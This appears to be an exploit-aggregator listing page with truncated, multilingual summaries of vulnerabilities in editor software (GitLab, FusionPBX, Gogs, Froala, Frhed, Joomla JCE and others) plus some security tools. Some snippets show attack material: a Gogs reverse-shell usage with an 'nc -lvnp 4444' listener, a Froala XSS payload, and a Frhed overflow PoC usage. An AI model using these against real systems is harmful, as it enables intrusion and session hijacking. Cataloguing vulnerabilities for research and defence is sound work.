CVE-2026-19619

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.0 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an unauthenticated user to execute arbitrary JavaScript in the context of a targeted user's session due to...

CVE-2019-19369

CVE-2019-19369 - FusionPBX = 4.5.10 认证远程代码执行（RCE） 经过认证的攻击者可以利用FusionPBX版本 = 4.5.10中的PHP编辑器功能，编辑现有的PHP页面以插入PHP有效载荷。通过导航到已更改的文件，我们能够以www-data用户身份获取shell。 发现者：TheCyberGeek...

CVE-2026-19619 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLab

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.0 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an unauthenticated user to execute arbitrary JavaScript in the context of a targeted user's session due to...

EUVD-2026-80117

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.0 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an unauthenticated user to execute arbitrary JavaScript in the context of a targeted user's session due to...

CVE-2026-19619

CVE-2026-19619 affects GitLab CE/EE versions 19.0 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2. The vulnerability is a cross-site scripting (XSS) flaw caused by improper sanitization of pasted HTML content in the Content Editor . Under certain conditions, an unauthenticated attacker ...

CVE-2024-44625-Gogs-RCE-0.13.0

CVE-2024-44625 与 Gogs-RCE-0.13.0 已针对反向代理后方的 0.13.0 时代 Gogs 进行验证。 利用原理：Web 编辑器符号链接跟随至一个不存在的 .git/hooks/pre-receive 文件， 从而创建该文件（可执行）。此后每次推送到该仓库都会执行它。 用法： 反向 Shell（先运行监听器：nc -lvnp 4444） root@kitploit: python3 gogsrceshell.py --url http://host --user admin1 --pass 'P@ss' \ --mode reverse --lhost...

CVE-2023-43263

CVE ID : CVE-2023-43263 脆弱性タイプ : クロスサイトスクリプティング 説明 : Froala Editor v.4.1.1 におけるクロスサイトスクリプティング XSS の脆弱性により、攻撃者が Markdown コンポーネントを介して任意のコードを実行できる可能性があります。 再現手順 : Markdownコンポーネントの入力欄にペイロードを入力します: root@kitploit: 参考 : 1. https://vulners.com/cve/CVE-2023-43263 2. https://froala.com 3...

CVE-2018-20250

CVE-2018-20250-3 010 Editor template for ACE archive format & CVE-2018-20250-3 ace.bt 010 editor template acefile.py open source ace extractor, used for write template watchme.gif demo wace269i WinAce installer 免责声明： 项目所有资源仅供技术研究使用。...

CVE-2023-4590

CVE-2023-4590 Frhed（免费十六进制编辑器）v1.6.0 的漏洞利用（PoC） - 缓冲区溢出（SEH），由 dgndrn 编写 使用方法 执行 exploit.py，复制生成的 payload.txt 中的所有字符串，然后将其作为参数传递给 Frhed.exe 打开 root@kitploit: Frhed.exe payload...

Rabbit Hole

Overview Rabbit Hole provides a very limited subset of the functionality of Maltego, focused on creating visual representations of information for Penetration Testing. It provides creation of various types of nodes such as IP Addresses, Ports, Services, etc and links between them, with a much mor...

heappy

🙂 Heappy: 楽しいヒープエディタ Heappy は、エクスプロイト開発中にヒープを操作するのに役立つ、gdb/gef ベースのエディタです。 このプロジェクトは、プロセスのライフサイクル中のヒープの変化を理解するのに役立つ教育ツールと考えるべきです。最も一般的なヒープエクスプロイト技術の学習を簡素化し、この素晴らしいトピックに関連するバイナリエクスプロイト CTF の解決を支援するために作成されました。 主な機能 Heappy が実装する機能は次のとおりです: ✅ ヒープのスナップショットを取得して相互に比較する ✅ ヒープビンのタイプとフィールドを即座に認識する ✅...

CVE-2025-50754-PoC

CVE-2025-50754 存储型XSS导致PHP CMS平台远程代码执行 摘要 某基于PHP的CMS平台（版本5）的“报告”功能中存在存储型跨站脚本（XSS）漏洞。当管理员查看用户提交的报告时，恶意JavaScript会在管理面板上下文中执行。这使得攻击者能够劫持管理员会话，并利用内置的模板编辑器上传PHP Web Shell，最终在服务器上实现完全远程代码执行（RCE）。 技术细节 漏洞类型： 存储型跨站脚本（XSS） 受影响产品： CMS平台 v5 攻击类型： 远程 影响： 远程代码执行（RCE）：是 信息泄露：是 攻击向量（抽象描述）...

CVE-2024-9932

CVE-2024-9932 Wux Blog Editor = 3.0.0 - 認証不要の任意ファイルアップロード Description: WordPress用プラグイン Wux Blog Editor は、バージョン3.0.0までを含むバージョンにおいて、'wuxbtinsertImageNew' 関数でのファイルタイプの検証が不十分なため、任意のファイルアップロードの脆弱性があります。これにより、認証されていない攻撃者が影響を受けるサイトのサーバー上に任意のファイルをアップロードでき、リモートコード実行を可能にする可能性が root@kitploit: Link:...

fhex

Fhex - フル機能の16進エディタ このプロジェクトは、軽量でありながら便利なツールを開発することを目的として生まれました。その理由は、既存の16進エディタにはいくつかの異なる制限があるためです（例：依存関係が多すぎる、16進カラーリング機能がないなど）。 このプロジェクトは qhexedit2 、capstone 、keystone エンジンに基づいています。将来的に新機能が追加される可能性があり、PR を歓迎します。 機能 チャンクローダー - メモリを消費せずに大きなファイルの一部のみをロードするために使用します（チャンク間の移動には alt +...

CVE-2023-42426

CVE 编号： CVE-2023-42426 漏洞类型： 跨站脚本 描述： Froala Froala Editor v.4.1.1 中的跨站脚本（XSS）漏洞允许远程攻击者通过“插入图像”组件中的“插入链接”参数执行任意代码。 复现步骤： 1. 选择“插入图像”选项并添加一张新图像。 2. 点击已添加的图像，然后使用“插入链接”选项并输入载荷： https://example.com" onmouseover='alertxss'。 参考： 1. https://cve.report/CVE-2023-42426 2...

CVE-2022-42095

Backdrop CMS versión 1.23.0 Explicación de la vulnerabilidad: Se descubrió que Backdrop CMS versión 1.23.0 contiene una vulnerabilidad de cross-site scripting XSS almacenado a través del contenido Page. Vectores de ataque: El atacante debe publicar algo en el "contenido de la página" e insertar l...

CVE-2018-0802

CVE-2018-0802 CVE-2018-08022: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802 MITRE CVE-2018-0802: https://vulners.com/cve/CVE-2018-0802 0patch のエクスプロイトとパッチのビデオ: https://www.youtube.com/watch?v=XU-U4K270Z4 Qihoo 360 のブログ記事 http://www.freebuf.com/vuls/159789.html...

CVE-2018-0802

CVE-2018-0802 CVE-2018-08022： https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802 MITRE CVE-2018-0802： https://vulners.com/cve/CVE-2018-0802 0patch 利用及补丁视频： https://www.youtube.com/watch?v=XU-U4K270Z4 奇虎360博客文章 http://www.freebuf.com/vuls/159789.html...

CVE-2026-48907-

CVE-2026-48907 — Joomla JCE 编辑器未授权 RCE 扫描器与利用工具 CVSS 10.0 | CWE-284 | CISA KEV | EPSS 80% 一款基于 Python 的漏洞扫描与利用工具，针对 CVE-2026-48907 ，这是 Joomla CMS 的 JCE（Joomla 内容编辑器） 扩展中存在的一个严重未授权远程代码执行漏洞。 📋 漏洞详情...

CVE-2026-81923 Concrete CMS below 9.5.3 is missing authorization in the SEO Bulk Update Meta Tags editor

In Concrete CMS before 9.5.3, the SEO Bulk Update Meta Tags editor did not check per-page edit permissions before saving. The saveRecord action validated the per-page CSRF token but never called canEditPageProperties for the target page, so a user who was granted access to the bulk SEO tool and...